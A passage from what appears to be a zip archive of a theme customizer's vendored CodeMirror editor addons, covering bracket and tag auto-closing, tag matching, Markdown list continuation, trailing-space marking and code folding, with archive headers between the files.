    pairs: "()[]{}''\"\"",
    triples: "",
    explode: "[]{}"
  };

  var Pos = CodeMirror.Pos;

  CodeMirror.defineOption("autoCloseBrackets", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.removeKeyMap(keyMap);
      cm.state.closeBrackets = null;
    }
    if (val) {
      cm.state.closeBrackets = val;
      cm.addKeyMap(keyMap);
    }
  });

  function getOption(conf, name) {
    if (name == "pairs" && typeof conf == "string") return conf;
    if (typeof conf == "object" && conf[name] != null) return conf[name];
    return defaults[name];
  }

  var bind = defaults.pairs + "`";
  var keyMap = {Backspace: handleBackspace, Enter: handleEnter};
  for (var i = 0; i < bind.length; i++)
    keyMap["'" + bind.charAt(i) + "'"] = handler(bind.charAt(i));

  function handler(ch) {
    return function(cm) { return handleChar(cm, ch); };
  }

  function getConfig(cm) {
    var deflt = cm.state.closeBrackets;
    if (!deflt) return null;
    var mode = cm.getModeAt(cm.getCursor());
    return mode.closeBrackets || deflt;
  }

  function handleBackspace(cm) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || pairs.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    for (var i = ranges.length - 1; i >= 0; i--) {
      var cur = ranges[i].head;
      cm.replaceRange("", Pos(cur.line, cur.ch - 1), Pos(cur.line, cur.ch + 1));
    }
  }

  function handleEnter(cm) {
    var conf = getConfig(cm);
    var explode = conf && getOption(conf, "explode");
    if (!explode || cm.getOption("disableInput")) return CodeMirror.Pass;

    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || explode.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    cm.operation(function() {
      cm.replaceSelection("\n\n", null);
      cm.execCommand("goCharLeft");
      ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var line = ranges[i].head.line;
        cm.indentLine(line, null, true);
        cm.indentLine(line + 1, null, true);
      }
    });
  }

  function contractSelection(sel) {
    var inverted = CodeMirror.cmpPos(sel.anchor, sel.head) > 0;
    return {anchor: new Pos(sel.anchor.line, sel.anchor.ch + (inverted ? -1 : 1)),
            head: new Pos(sel.head.line, sel.head.ch + (inverted ? 1 : -1))};
  }

  function handleChar(cm, ch) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var pos = pairs.indexOf(ch);
    if (pos == -1) return CodeMirror.Pass;
    var triples = getOption(conf, "triples");

    var identical = pairs.charAt(pos + 1) == ch;
    var ranges = cm.listSelections();
    var opening = pos % 2 == 0;

    var type, next;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], cur = range.head, curType;
      var next = cm.getRange(cur, Pos(cur.line, cur.ch + 1));
      if (opening && !range.empty()) {
        curType = "surround";
      } else if ((identical || !opening) && next == ch) {
        if (triples.indexOf(ch) >= 0 && cm.getRange(cur, Pos(cur.line, cur.ch + 3)) == ch + ch + ch)
          curType = "skipThree";
        else
          curType = "skip";
      } else if (identical && cur.ch > 1 && triples.indexOf(ch) >= 0 &&
                 cm.getRange(Pos(cur.line, cur.ch - 2), cur) == ch + ch &&
                 (cur.ch <= 2 || cm.getRange(Pos(cur.line, cur.ch - 3), Pos(cur.line, cur.ch - 2)) != ch)) {
        curType = "addFour";
      } else if (identical) {
        if (!CodeMirror.isWordChar(next) && enteringString(cm, cur, ch)) curType = "both";
        else return CodeMirror.Pass;
      } else if (opening && (cm.getLine(cur.line).length == cur.ch ||
                             isClosingBracket(next, pairs) ||
                             /\s/.test(next))) {
        curType = "both";
      } else {
        return CodeMirror.Pass;
      }
      if (!type) type = curType;
      else if (type != curType) return CodeMirror.Pass;
    }

    var left = pos % 2 ? pairs.charAt(pos - 1) : ch;
    var right = pos % 2 ? ch : pairs.charAt(pos + 1);
    cm.operation(function() {
      if (type == "skip") {
        cm.execCommand("goCharRight");
      } else if (type == "skipThree") {
        for (var i = 0; i < 3; i++)
          cm.execCommand("goCharRight");
      } else if (type == "surround") {
        var sels = cm.getSelections();
        for (var i = 0; i < sels.length; i++)
          sels[i] = left + sels[i] + right;
        cm.replaceSelections(sels, "around");
        sels = cm.listSelections().slice();
        for (var i = 0; i < sels.length; i++)
          sels[i] = contractSelection(sels[i]);
        cm.setSelections(sels);
      } else if (type == "both") {
        cm.replaceSelection(left + right, null);
        cm.triggerElectric(left + right);
        cm.execCommand("goCharLeft");
      } else if (type == "addFour") {
        cm.replaceSelection(left + left + left + left, "before");
        cm.execCommand("goCharRight");
      }
    });
  }

  function isClosingBracket(ch, pairs) {
    var pos = pairs.lastIndexOf(ch);
    return pos > -1 && pos % 2 == 1;
  }

  function charsAround(cm, pos) {
    var str = cm.getRange(Pos(pos.line, pos.ch - 1),
                          Pos(pos.line, pos.ch + 1));
    return str.length == 2 ? str : null;
  }

  // Project the token type that will exists after the given char is
  // typed, and use it to determine whether it would cause the start
  // of a string token.
  function enteringString(cm, pos, ch) {
    var line = cm.getLine(pos.line);
    var token = cm.getTokenAt(pos);
    if (/\bstring2?\b/.test(token.type)) return false;
    var stream = new CodeMirror.StringStream(line.slice(0, pos.ch) + ch + line.slice(pos.ch), 4);
    stream.pos = stream.start = token.start;
    for (;;) {
      var type1 = cm.getMode().token(stream, token.state);
      if (stream.pos >= pos.ch + 1) return /\bstring2?\b/.test(type1);
      stream.start = stream.pos;
    }
  }
});
PK     0w\Sё3	  3	  H  customizer/framework/assets/js/vendor/codemirror/addon/edit/matchtags.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("matchTags", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchTags);
      cm.off("viewportChange", maybeUpdateMatch);
      clear(cm);
    }
    if (val) {
      cm.state.matchBothTags = typeof val == "object" && val.bothTags;
      cm.on("cursorActivity", doMatchTags);
      cm.on("viewportChange", maybeUpdateMatch);
      doMatchTags(cm);
    }
  });

  function clear(cm) {
    if (cm.state.tagHit) cm.state.tagHit.clear();
    if (cm.state.tagOther) cm.state.tagOther.clear();
    cm.state.tagHit = cm.state.tagOther = null;
  }

  function doMatchTags(cm) {
    cm.state.failedTagMatch = false;
    cm.operation(function() {
      clear(cm);
      if (cm.somethingSelected()) return;
      var cur = cm.getCursor(), range = cm.getViewport();
      range.from = Math.min(range.from, cur.line); range.to = Math.max(cur.line + 1, range.to);
      var match = CodeMirror.findMatchingTag(cm, cur, range);
      if (!match) return;
      if (cm.state.matchBothTags) {
        var hit = match.at == "open" ? match.open : match.close;
        if (hit) cm.state.tagHit = cm.markText(hit.from, hit.to, {className: "CodeMirror-matchingtag"});
      }
      var other = match.at == "close" ? match.open : match.close;
      if (other)
        cm.state.tagOther = cm.markText(other.from, other.to, {className: "CodeMirror-matchingtag"});
      else
        cm.state.failedTagMatch = true;
    });
  }

  function maybeUpdateMatch(cm) {
    if (cm.state.failedTagMatch) doMatchTags(cm);
  }

  CodeMirror.commands.toMatchingTag = function(cm) {
    var found = CodeMirror.findMatchingTag(cm, cm.getCursor());
    if (found) {
      var other = found.at == "close" ? found.open : found.close;
      if (other) cm.extendSelection(other.to, other.from);
    }
  };
});
PK     0w\    K  customizer/framework/assets/js/vendor/codemirror/addon/edit/continuelist.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var listRE = /^(\s*)(>[> ]*|[*+-]\s|(\d+)([.)]))(\s*)/,
      emptyListRE = /^(\s*)(>[> ]*|[*+-]|(\d+)[.)])(\s*)$/,
      unorderedListRE = /[*+-]\s/;

  CodeMirror.commands.newlineAndIndentContinueMarkdownList = function(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head;
      var eolState = cm.getStateAfter(pos.line);
      var inList = eolState.list !== false;
      var inQuote = eolState.quote !== 0;

      var line = cm.getLine(pos.line), match = listRE.exec(line);
      if (!ranges[i].empty() || (!inList && !inQuote) || !match) {
        cm.execCommand("newlineAndIndent");
        return;
      }
      if (emptyListRE.test(line)) {
        cm.replaceRange("", {
          line: pos.line, ch: 0
        }, {
          line: pos.line, ch: pos.ch + 1
        });
        replacements[i] = "\n";
      } else {
        var indent = match[1], after = match[5];
        var bullet = unorderedListRE.test(match[2]) || match[2].indexOf(">") >= 0
          ? match[2]
          : (parseInt(match[3], 10) + 1) + match[4];

        replacements[i] = "\n" + indent + bullet + after;
      }
    }

    cm.replaceSelections(replacements);
  };
});
PK     0w\3    L  customizer/framework/assets/js/vendor/codemirror/addon/edit/trailingspace.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("showTrailingSpace", false, function(cm, val, prev) {
    if (prev == CodeMirror.Init) prev = false;
    if (prev && !val)
      cm.removeOverlay("trailingspace");
    else if (!prev && val)
      cm.addOverlay({
        token: function(stream) {
          for (var l = stream.string.length, i = l; i && /\s/.test(stream.string.charAt(i - 1)); --i) {}
          if (i > stream.pos) { stream.pos = i; return null; }
          stream.pos = l;
          return "trailingspace";
        },
        name: "trailingspace"
      });
  });
});
PK     0w\9 ]    G  customizer/framework/assets/js/vendor/codemirror/addon/edit/closetag.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Tag-closer extension for CodeMirror.
 *
 * This extension adds an "autoCloseTags" option that can be set to
 * either true to get the default behavior, or an object to further
 * configure its behavior.
 *
 * These are supported options:
 *
 * `whenClosing` (default true)
 *   Whether to autoclose when the '/' of a closing tag is typed.
 * `whenOpening` (default true)
 *   Whether to autoclose the tag when the final '>' of an opening
 *   tag is typed.
 * `dontCloseTags` (default is empty tags for HTML, none for XML)
 *   An array of tag names that should not be autoclosed.
 * `indentTags` (default is block tags for HTML, none for XML)
 *   An array of tag names that should, when opened, cause a
 *   blank line to be added inside the tag, and the blank line and
 *   closing line to be indented.
 *
 * See demos/closetag.html for a usage example.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("autoCloseTags", false, function(cm, val, old) {
    if (old != CodeMirror.Init && old)
      cm.removeKeyMap("autoCloseTags");
    if (!val) return;
    var map = {name: "autoCloseTags"};
    if (typeof val != "object" || val.whenClosing)
      map["'/'"] = function(cm) { return autoCloseSlash(cm); };
    if (typeof val != "object" || val.whenOpening)
      map["'>'"] = function(cm) { return autoCloseGT(cm); };
    cm.addKeyMap(map);
  });

  var htmlDontClose = ["area", "base", "br", "col", "command", "embed", "hr", "img", "input", "keygen", "link", "meta", "param",
                       "source", "track", "wbr"];
  var htmlIndent = ["applet", "blockquote", "body", "button", "div", "dl", "fieldset", "form", "frameset", "h1", "h2", "h3", "h4",
                    "h5", "h6", "head", "html", "iframe", "layer", "legend", "object", "ol", "p", "select", "table", "ul"];

  function autoCloseGT(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), replacements = [];
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
      if (inner.mode.name != "xml" || !state.tagName) return CodeMirror.Pass;

      var opt = cm.getOption("autoCloseTags"), html = inner.mode.configuration == "html";
      var dontCloseTags = (typeof opt == "object" && opt.dontCloseTags) || (html && htmlDontClose);
      var indentTags = (typeof opt == "object" && opt.indentTags) || (html && htmlIndent);

      var tagName = state.tagName;
      if (tok.end > pos.ch) tagName = tagName.slice(0, tagName.length - tok.end + pos.ch);
      var lowerTagName = tagName.toLowerCase();
      // Don't process the '>' at the end of an end-tag or self-closing tag
      if (!tagName ||
          tok.type == "string" && (tok.end != pos.ch || !/[\"\']/.test(tok.string.charAt(tok.string.length - 1)) || tok.string.length == 1) ||
          tok.type == "tag" && state.type == "closeTag" ||
          tok.string.indexOf("/") == (tok.string.length - 1) || // match something like <someTagName />
          dontCloseTags && indexOf(dontCloseTags, lowerTagName) > -1 ||
          closingTagExists(cm, tagName, pos, state, true))
        return CodeMirror.Pass;

      var indent = indentTags && indexOf(indentTags, lowerTagName) > -1;
      replacements[i] = {indent: indent,
                         text: ">" + (indent ? "\n\n" : "") + "</" + tagName + ">",
                         newPos: indent ? CodeMirror.Pos(pos.line + 1, 0) : CodeMirror.Pos(pos.line, pos.ch + 1)};
    }

    for (var i = ranges.length - 1; i >= 0; i--) {
      var info = replacements[i];
      cm.replaceRange(info.text, ranges[i].head, ranges[i].anchor, "+insert");
      var sel = cm.listSelections().slice(0);
      sel[i] = {head: info.newPos, anchor: info.newPos};
      cm.setSelections(sel);
      if (info.indent) {
        cm.indentLine(info.newPos.line, null, true);
        cm.indentLine(info.newPos.line + 1, null, true);
      }
    }
  }

  function autoCloseCurrent(cm, typingSlash) {
    var ranges = cm.listSelections(), replacements = [];
    var head = typingSlash ? "/" : "</";
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var pos = ranges[i].head, tok = cm.getTokenAt(pos);
      var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
      if (typingSlash && (tok.type == "string" || tok.string.charAt(0) != "<" ||
                          tok.start != pos.ch - 1))
        return CodeMirror.Pass;
      // Kludge to get around the fact that we are not in XML mode
      // when completing in JS/CSS snippet in htmlmixed mode. Does not
      // work for other XML embedded languages (there is no general
      // way to go from a mixed mode to its current XML state).
      var replacement;
      if (inner.mode.name != "xml") {
        if (cm.getMode().name == "htmlmixed" && inner.mode.name == "javascript")
          replacement = head + "script";
        else if (cm.getMode().name == "htmlmixed" && inner.mode.name == "css")
          replacement = head + "style";
        else
          return CodeMirror.Pass;
      } else {
        if (!state.context || !state.context.tagName ||
            closingTagExists(cm, state.context.tagName, pos, state))
          return CodeMirror.Pass;
        replacement = head + state.context.tagName;
      }
      if (cm.getLine(pos.line).charAt(tok.end) != ">") replacement += ">";
      replacements[i] = replacement;
    }
    cm.replaceSelections(replacements);
    ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      if (i == ranges.length - 1 || ranges[i].head.line < ranges[i + 1].head.line)
        cm.indentLine(ranges[i].head.line);
  }

  function autoCloseSlash(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    return autoCloseCurrent(cm, true);
  }

  CodeMirror.commands.closeTag = function(cm) { return autoCloseCurrent(cm); };

  function indexOf(collection, elt) {
    if (collection.indexOf) return collection.indexOf(elt);
    for (var i = 0, e = collection.length; i < e; ++i)
      if (collection[i] == elt) return i;
    return -1;
  }

  // If xml-fold is loaded, we use its functionality to try and verify
  // whether a given tag is actually unclosed.
  function closingTagExists(cm, tagName, pos, state, newTag) {
    if (!CodeMirror.scanForClosingTag) return false;
    var end = Math.min(cm.lastLine() + 1, pos.line + 500);
    var nextClose = CodeMirror.scanForClosingTag(cm, pos, null, end);
    if (!nextClose || nextClose.tag != tagName) return false;
    var cx = state.context;
    // If the immediate wrapping context contains onCx instances of
    // the same tag, a closing tag only exists if there are at least
    // that many closing tags of that type following.
    for (var onCx = newTag ? 1 : 0; cx && cx.tagName == tagName; cx = cx.prev) ++onCx;
    pos = nextClose.to;
    for (var i = 1; i < onCx; i++) {
      var next = CodeMirror.scanForClosingTag(cm, pos, null, end);
      if (!next || next.tag != tagName) return false;
      pos = next.to;
    }
    return true;
  }
});
PK     0w\
>vU  U  G  customizer/framework/assets/js/vendor/codemirror/addon/fold/foldcode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function doFold(cm, pos, options, force) {
    if (options && options.call) {
      var finder = options;
      options = null;
    } else {
      var finder = getOption(cm, options, "rangeFinder");
    }
    if (typeof pos == "number") pos = CodeMirror.Pos(pos, 0);
    var minSize = getOption(cm, options, "minFoldSize");

    function getRange(allowFolded) {
      var range = finder(cm, pos);
      if (!range || range.to.line - range.from.line < minSize) return null;
      var marks = cm.findMarksAt(range.from);
      for (var i = 0; i < marks.length; ++i) {
        if (marks[i].__isFold && force !== "fold") {
          if (!allowFolded) return null;
          range.cleared = true;
          marks[i].clear();
        }
      }
      return range;
    }

    var range = getRange(true);
    if (getOption(cm, options, "scanUp")) while (!range && pos.line > cm.firstLine()) {
      pos = CodeMirror.Pos(pos.line - 1, 0);
      range = getRange(false);
    }
    if (!range || range.cleared || force === "unfold") return;

    var myWidget = makeWidget(cm, options);
    CodeMirror.on(myWidget, "mousedown", function(e) {
      myRange.clear();
      CodeMirror.e_preventDefault(e);
    });
    var myRange = cm.markText(range.from, range.to, {
      replacedWith: myWidget,
      clearOnEnter: true,
      __isFold: true
    });
    myRange.on("clear", function(from, to) {
      CodeMirror.signal(cm, "unfold", cm, from, to);
    });
    CodeMirror.signal(cm, "fold", cm, range.from, range.to);
  }

  function makeWidget(cm, options) {
    var widget = getOption(cm, options, "widget");
    if (typeof widget == "string") {
      var text = document.createTextNode(widget);
      widget = document.createElement("span");
      widget.appendChild(text);
      widget.className = "CodeMirror-foldmarker";
    }
    return widget;
  }

  // Clumsy backwards-compatible interface
  CodeMirror.newFoldFunction = function(rangeFinder, widget) {
    return function(cm, pos) { doFold(cm, pos, {rangeFinder: rangeFinder, widget: widget}); };
  };

  // New-style interface
  CodeMirror.defineExtension("foldCode", function(pos, options, force) {
    doFold(this, pos, options, force);
  });

  CodeMirror.defineExtension("isFolded", function(pos) {
    var marks = this.findMarksAt(pos);
    for (var i = 0; i < marks.length; ++i)
      if (marks[i].__isFold) return true;
  });

  CodeMirror.commands.toggleFold = function(cm) {
    cm.foldCode(cm.getCursor());
  };
  CodeMirror.commands.fold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "fold");
  };
  CodeMirror.commands.unfold = function(cm) {
    cm.foldCode(cm.getCursor(), null, "unfold");
  };
  CodeMirror.commands.foldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "fold");
    });
  };
  CodeMirror.commands.unfoldAll = function(cm) {
    cm.operation(function() {
      for (var i = cm.firstLine(), e = cm.lastLine(); i <= e; i++)
        cm.foldCode(CodeMirror.Pos(i, 0), null, "unfold");
    });
  };

  CodeMirror.registerHelper("fold", "combine", function() {
    var funcs = Array.prototype.slice.call(arguments, 0);
    return function(cm, start) {
      for (var i = 0; i < funcs.length; ++i) {
        var found = funcs[i](cm, start);
        if (found) return found;
      }
    };
  });

  CodeMirror.registerHelper("fold", "auto", function(cm, start) {
    var helpers = cm.getHelpers(start, "fold");
    for (var i = 0; i < helpers.length; i++) {
      var cur = helpers[i](cm, start);
      if (cur) return cur;
    }
  });

  var defaultOptions = {
    rangeFinder: CodeMirror.fold.auto,
    widget: "\u2194",
    minFoldSize: 0,
    scanUp: false
  };

  CodeMirror.defineOption("foldOptions", null);

  function getOption(cm, options, name) {
    if (options && options[name] !== undefined)
      return options[name];
    var editorOptions = cm.options.foldOptions;
    if (editorOptions && editorOptions[name] !== undefined)
      return editorOptions[name];
    return defaultOptions[name];
  }

  CodeMirror.defineExtension("foldOption", function(options, name) {
    return getOption(this, options, name);
  });
});
PK     0w\r:    G  customizer/framework/assets/js/vendor/codemirror/addon/fold/xml-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch; }

  var nameStartChar = "A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  var nameChar = nameStartChar + "\-\:\.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var xmlTagStart = new RegExp("<(/?)([" + nameStartChar + "][" + nameChar + "]*)", "g");

  function Iter(cm, line, ch, range) {
    this.line = line; this.ch = ch;
    this.cm = cm; this.text = cm.getLine(line);
    this.min = range ? range.from : cm.firstLine();
    this.max = range ? range.to - 1 : cm.lastLine();
  }

  function tagAt(iter, ch) {
    var type = iter.cm.getTokenTypeAt(Pos(iter.line, ch));
    return type && /\btag\b/.test(type);
  }

  function nextLine(iter) {
    if (iter.line >= iter.max) return;
    iter.ch = 0;
    iter.text = iter.cm.getLine(++iter.line);
    return true;
  }
  function prevLine(iter) {
    if (iter.line <= iter.min) return;
    iter.text = iter.cm.getLine(--iter.line);
    iter.ch = iter.text.length;
    return true;
  }

  function toTagEnd(iter) {
    for (;;) {
      var gt = iter.text.indexOf(">", iter.ch);
      if (gt == -1) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt + 1; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }
  function toTagStart(iter) {
    for (;;) {
      var lt = iter.ch ? iter.text.lastIndexOf("<", iter.ch - 1) : -1;
      if (lt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, lt + 1)) { iter.ch = lt; continue; }
      xmlTagStart.lastIndex = lt;
      iter.ch = lt;
      var match = xmlTagStart.exec(iter.text);
      if (match && match.index == lt) return match;
    }
  }

  function toNextTag(iter) {
    for (;;) {
      xmlTagStart.lastIndex = iter.ch;
      var found = xmlTagStart.exec(iter.text);
      if (!found) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, found.index + 1)) { iter.ch = found.index + 1; continue; }
      iter.ch = found.index + found[0].length;
      return found;
    }
  }
  function toPrevTag(iter) {
    for (;;) {
      var gt = iter.ch ? iter.text.lastIndexOf(">", iter.ch - 1) : -1;
      if (gt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 && !/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }

  function findMatchingClose(iter, tag) {
    var stack = [];
    for (;;) {
      var next = toNextTag(iter), end, startLine = iter.line, startCh = iter.ch - (next ? next[0].length : 0);
      if (!next || !(end = toTagEnd(iter))) return;
      if (end == "selfClose") continue;
      if (next[1]) { // closing tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == next[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == next[2])) return {
          tag: next[2],
          from: Pos(startLine, startCh),
          to: Pos(iter.line, iter.ch)
        };
      } else { // opening tag
        stack.push(next[2]);
      }
    }
  }
  function findMatchingOpen(iter, tag) {
    var stack = [];
    for (;;) {
      var prev = toPrevTag(iter);
      if (!prev) return;
      if (prev == "selfClose") { toTagStart(iter); continue; }
      var endLine = iter.line, endCh = iter.ch;
      var start = toTagStart(iter);
      if (!start) return;
      if (start[1]) { // closing tag
        stack.push(start[2]);
      } else { // opening tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] == start[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == start[2])) return {
          tag: start[2],
          from: Pos(iter.line, iter.ch),
          to: Pos(endLine, endCh)
        };
      }
    }
  }

  CodeMirror.registerHelper("fold", "xml", function(cm, start) {
    var iter = new Iter(cm, start.line, 0);
    for (;;) {
      var openTag = toNextTag(iter), end;
      if (!openTag || iter.line != start.line || !(end = toTagEnd(iter))) return;
      if (!openTag[1] && end != "selfClose") {
        var start = Pos(iter.line, iter.ch);
        var close = findMatchingClose(iter, openTag[2]);
        return close && {from: start, to: close.from};
      }
    }
  });
  CodeMirror.findMatchingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    if (iter.text.indexOf(">") == -1 && iter.text.indexOf("<") == -1) return;
    var end = toTagEnd(iter), to = end && Pos(iter.line, iter.ch);
    var start = end && toTagStart(iter);
    if (!end || !start || cmp(iter, pos) > 0) return;
    var here = {from: Pos(iter.line, iter.ch), to: to, tag: start[2]};
    if (end == "selfClose") return {open: here, close: null, at: "open"};

    if (start[1]) { // closing tag
      return {open: findMatchingOpen(iter, start[2]), close: here, at: "close"};
    } else { // opening tag
      iter = new Iter(cm, to.line, to.ch, range);
      return {open: here, close: findMatchingClose(iter, start[2]), at: "open"};
    }
  };

  CodeMirror.findEnclosingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    for (;;) {
      var open = findMatchingOpen(iter);
      if (!open) break;
      var forward = new Iter(cm, pos.line, pos.ch, range);
      var close = findMatchingClose(forward, open.tag);
      if (close) return {open: open, close: close};
    }
  };

  // Used by addon/edit/closetag.js
  CodeMirror.scanForClosingTag = function(cm, pos, name, end) {
    var iter = new Iter(cm, pos.line, pos.ch, end ? {from: 0, to: end} : null);
    return findMatchingClose(iter, name);
  };
});
PK     0w\9J-E  E  L  customizer/framework/assets/js/vendor/codemirror/addon/fold/markdown-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("fold", "markdown", function(cm, start) {
  var maxDepth = 100;

  function isHeader(lineNo) {
    var tokentype = cm.getTokenTypeAt(CodeMirror.Pos(lineNo, 0));
    return tokentype && /\bheader\b/.test(tokentype);
  }

  function headerLevel(lineNo, line, nextLine) {
    var match = line && line.match(/^#+/);
    if (match && isHeader(lineNo)) return match[0].length;
    match = nextLine && nextLine.match(/^[=\-]+\s*$/);
    if (match && isHeader(lineNo + 1)) return nextLine[0] == "=" ? 1 : 2;
    return maxDepth;
  }

  var firstLine = cm.getLine(start.line), nextLine = cm.getLine(start.line + 1);
  var level = headerLevel(start.line, firstLine, nextLine);
  if (level === maxDepth) return undefined;

  var lastLineNo = cm.lastLine();
  var end = start.line, nextNextLine = cm.getLine(end + 2);
  while (end < lastLineNo) {
    if (headerLevel(end + 1, nextLine, nextNextLine) <= level) break;
    ++end;
    nextLine = nextNextLine;
    nextNextLine = cm.getLine(end + 2);
  }

  return {
    from: CodeMirror.Pos(start.line, firstLine.length),
    to: CodeMirror.Pos(end, cm.getLine(end).length)
  };
});

});
PK     0w\re/c  c  K  customizer/framework/assets/js/vendor/codemirror/addon/fold/comment-fold.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
  return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
  var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
  if (!startToken || !endToken) return;
  var line = start.line, lineText = cm.getLine(line);

  var startCh;
